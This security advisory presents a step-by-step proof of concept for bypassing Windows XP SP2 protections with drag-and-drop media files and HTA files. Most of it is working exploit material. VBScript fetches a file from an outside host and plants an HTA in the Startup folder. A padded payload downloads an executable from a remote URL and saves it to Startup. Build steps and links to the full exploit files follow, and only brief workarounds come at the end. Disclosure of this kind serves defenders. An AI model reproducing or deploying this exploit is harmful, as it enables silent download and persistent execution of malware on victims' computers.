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How to Break Windows XP SP2 (Drag and Drop Media Files) - Proof of Concept
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SUMMARY
This article follows
<http://www.securiteam.com/windowsntfocus/6N00L1FBFW.html> http-equiv's
last article on the subject of exploiting Windows SP2 using Drag and Drop
with .hta files to execute arbitrary code on Local Zone. In this article a
detailed proof of concept shows the vulnerability.
DETAILS
It is possible to execute machine code with a series of html commands on
an Windows XP SP2 system. Its getting harder and harder these days so be
ready for a long confusing paper.
Running the Proof of Concept:
* All files for the proof of concept can be found here:
<http://www.michaelevanchik.com/kara/scrolll/files.zip>
http://www.michaelevanchik.com/kara/scrolll/files.zip
* Open the index html:
<http://www.michaelevanchik.com/kara/scrolll/index.html>
http://www.michaelevanchik.com/kara/scrolll/index.html (or the one in
files.zip)
* Scroll down on this webpage and click the display button as directed.
* You will then notice an .hta file in your: start > programs > start up
real sceduler.hta
* That's it! Every time 'real sceduler.hta' runs, our code runs on Local
Zone.
How it Works:
1. malwarez6.mcb:
* Create a image file with the source code that http-equiv provided
(shown below) into a comment section on a image file. In Photoshop it can
be done by: file menu > file info > comment field. And paste the source
code below.
Here is http-equiv's code, it was modified to inject the hta file into
start up instead.
malwarez6.mcb comment source:
<script language="vbs">
Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://arite.zapto.org;"; & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save "C:\Documents and Settings\All Users\Start
Menu\Programs\Startup\real scheduler.hta", adPersistXML
rs.close
conn.close
</script>
Note: There is one thing you need to know about this code. Oddly, select
* from foobar.txt not only runs a GET command for foobar.txt on the web
server, it also logs in anonymous to a FTP server on the same host. If
your server does not allow both, the vulnerability will not work.
* Save the file as a jpeg. Rename it to malwarez6.mcb
2. foobar.txt:
This was the most difficult part. From the information http-equiv gave us,
it seems this vulnerability could have been dismissed since you could not
fit enough scriptable code into the hta file without the script compiler
erroring due to binary asci code messing up the vbscript. What was
uncovered is this text file needed to be in a comma delimited format. Not
only that each side of each line of code needed to be padded with a dummy
variable to keep the code "alive" so it would not error. Notice the
variable "crap" and the first and last lines where also dummies which the
code would not have worked without. HTA files are still a big hole for
Microsoft. All the patching they have done to exploits, and the creation
of XP Service Pack 2 was gods sent, but yet HTA files do not apply to ANY
of these new features. So in the end it's simply the matter of putting an
old and easy exe running exploit inside this hta file.
foobar.txt source:
"meaning less shit i had to put here"
"<script language=vbscript> crap = """
""": on error resume next: crap = """
""" : set o = CreateObject(""msxml2.XMLHTTP"") : crap="""
""" : o.open ""GET"",""http://hometown.aol.com/mcbain/calc.exe"",False :
crap="""
""" : o.send : crap="""
""" : set s = createobject(""adodb.stream"") : crap="""
""" : s.type=1 : crap="""
""" : s.open : crap="""
""" : s.write o.responseBody : crap="""
""" : s.savetofile ""C:\Documents and Settings\All Users\Start
Menu\Programs\Startup\RealAudio.exe"",2 : crap="""
"""</script> crap="""
3. index.html:
Notice the following key code: <img id="dyn" src="malwarez6.mcb"
border="0">
According to <malware.com> http-equiv's post he was using a file with no
extension. This did not work for Michael Evanchik on his IIS server so an
unused extension that was used (.mcb). From there in IIS management
console this mime type was added manually (.mcb text/html) entry. This
image now gets by Microsoft's patch of not allowing executable content to
be "draggable". Microsoft seems to check (no matter what extension of the
file, or content type your http server sends) the file internally to see
if it is not an executable file.
4. cigar.hhk:
The code in this file is self explanatory:
<OBJECT type="text/site properties">
<param name="WindowName" value="$global_blank">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="click display at bottom of page">
<param name="Local"
value="C:\WINDOWS\PCHealth\malwarez6[1].htm">
<param name="WindowName" value="$global_blank">
</OBJECT>
</UL>
5. frame.html:
Most somewhat self explanatory, though note the following code:
<OBJECT style="height:650" style="width:250"id="hhctrl"
type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"codebase="hhctrl.ocx#Version=5,2,3790,1194"width=7%
height=7% style="position:absolute;top:140;left:72;z-index:100;">
<PARAM name="Command" value="Index">
<PARAM name="Item1" value="cigar.hhk">click me
</OBJECT>
Unfortunately, this object cannot be auto clicked with hhctrl.click(), so
for now this is the only user intervention part. But when a user click
this object, it runs the html file in local zone, bypassing XP Service
pack 2 for the second time in this exploit.
6. hhtctrl.ocx:
The hhtctrl.ocx should be uploaded for computers that dont happen to have
this control. All XP's seem to have this by default, some win2k3's do not.
Workarounds:
* Disable hta files.
* Disable scripting in Internet Explorer
* Do not use Internet Explorer, use <http://mozilla.org> Mozilla Firefox
ADDITIONAL INFORMATION
The information has been provided by <mailto:Mike@MichaelEvanchik.com>
Michael Evanchik.
The original article can be found at:
<http://www.michaelevanchik.com/kara/scrolll/notagain.txt>
http://www.michaelevanchik.com/kara/scrolll/notagain.txt
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